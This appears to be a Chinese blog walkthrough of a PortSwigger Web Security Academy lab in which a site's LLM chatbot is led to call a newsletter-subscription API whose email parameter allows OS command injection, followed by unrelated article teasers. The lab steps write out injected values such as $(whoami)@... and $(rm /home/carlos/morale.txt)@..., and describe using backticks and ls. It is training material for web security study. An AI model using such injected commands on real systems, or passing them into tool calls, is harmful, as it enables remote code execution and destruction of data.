PortSwigger靶场练习---网页 LLM 攻击:利用LLM API 的漏洞

devtools/2025/1/23 8:31:00/

网页 LLM 攻击: Exploiting vulnerabilities in LLM APIs

利用LLM API 的漏洞

PortSwigger靶场地址: Dashboard | Web Security Academy - PortSwigger

题目: 

官方提示:

  1. 从实验室主页点击实时聊天。

  2. 询问LLM它有权访问哪些 API。LLM回应称它可以访问控制以下功能的 API:

    1. 密码重置
    2. 新闻订阅
    3. 产品信息
  3. 考虑以下要点:

    1. 您可能需要远程代码执行来删除 Carlos 的 morale.txt 文件。一些发送电子邮件的 API 有时会使用提供远程代码执行路径的操作系统命令。
    2. 您没有账户,因此测试密码重置会比较困难。《新闻通讯订阅 API》是一个更好的初始测试目标。
  4. 询问LLM新闻订阅 API 需要哪些参数。

  5. 请使用LLM调用 Newsletter Subscription API,并传入参数 attacker@YOUR-EXPLOIT-SERVER-ID.exploit-server.net

  6. 点击电子邮件客户端,观察是否已将订阅确认发送到所需的电子邮件地址。这证明您可以直接使用LLM与新闻订阅 API 交互。

  7. 请使用LLM调用 Newsletter Subscription API,并传入参数 $(whoami)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net

  8. 点击电子邮件客户端,观察生成的电子邮件是否发送至 carlos@YOUR-EXPLOIT-SERVER-ID.exploit-server.net 。这表明 whoami 命令已成功执行,表明远程代码执行是可能的。

  9. LLM使用参数 $(rm /home/carlos/morale.txt)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net 调用新闻订阅 API。该 API 调用导致系统删除 Carlos 的 morale.txt 文件,解决实验室问题。

第一步:

选择实时聊天,通过询问可知ai有着三种权限。题目并没有给我们任何用户名称,所以我们来尝试订阅新闻简报。

第二步:

订阅新闻简报

 第三步:

在API日志中可以找到tool_calls代码,“ tool_calls ”是模型返回的 AIMessage 上的一个属性,用于访问模型请求的工具调用

在linux的bash中" ` ` "反引号括起来的内容是系统命令,Bash会先执行它。

执行“ ls ”命令后返回了一个文件名称,这个文件就是我们需要删除的文件。

 第四步:

使用“ rm ”删除命令删除“ morale.txt ”文件,即可完成任务。


http://www.ppmy.cn/devtools/152828.html

相关文章

yolov11 推理保存json

目录 yolov11 推理保存json 推理图片目录: yolov11 推理保存json import glob import json import os import shutilimport cv2 import timeimport numpy as np import torch# import torch from ultralytics import YOLOmodel = YOLO(r"yolo11x.pt")dir_path = …

神经网络:什么是交叉熵?

在机器学习和深度学习中,交叉熵(Cross Entropy) 是一种常见的损失函数,特别适用于分类问题。尽管这个术语听起来可能有点复杂,但通过一个类比,我们可以更直观地理解它的含义和作用。 类比场景:…

Mac 刷题环境配置

Mac 刷题环境配置 这篇博文主要记录自己为了更方便的在 Mac 上写算法题,主要是基于 Clion做的一些环境配置;有些操作其实在 Windows ,Linux 下也是通用的,如果看到的小伙伴也可以结合自己的情况参考。 Clion 插件 推荐一下这个插件…

Java 的对象序列化与反序列化

目录 一、什么是对象序列化与反序列化 二、为何需要对象序列化与反序列化 三、Java 中如何实现对象序列化与反序列化 1. 简单对象的序列化与反序列化 2. 处理静态成员与瞬态成员 四、自定义序列化与反序列化逻辑 五、对象序列化与反序列化的注意事项 六、总结 在 Java …

人形机器人将制造iPhone!

前言 优必选机器人和富士康通过一项突破性的合作伙伴关系,正在将先进的人形机器人(如Walker S1及其升级版Walker S2)整合到制造流程中,以改变iPhone的生产方式。这一合作旨在通过提升机器人能力、优化工作流程以及实现更智能的自动…

Elasticsearch 8.17.1 JAVA工具类

一、ElasticSearchUtils package com.wssnail.elasticsearch.util;import co.elastic.clients.elasticsearch.ElasticsearchClient; import co.elastic.clients.elasticsearch._types.FieldValue; import co.elastic.clients.elasticsearch._types.Refresh; import co.elasti…

cf<contest/1971>练习-python版

https://codeforces.com/contest/1971 前5题python题解(cf翻译代码符号可能变中文) 1.My First Sorting Problem 题面翻译 有 t t t 组数据,每组数据给你两个整数 x x x 和 y y y 。 输出两个整数: x x x 和 y y y 中较小…

【前端动效】HTML + CSS 实现打字机效果

目录 1. 效果展示 2. 思路分析 2.1 难点 2.2 实现思路 3. 代码实现 3.1 html部分 3.2 css部分 3.3 完整代码 4. 总结 1. 效果展示 如图所示,这次带来的是一个有趣的“擦除”效果,也可以叫做打字机效果,其中一段文本从左到右逐渐从…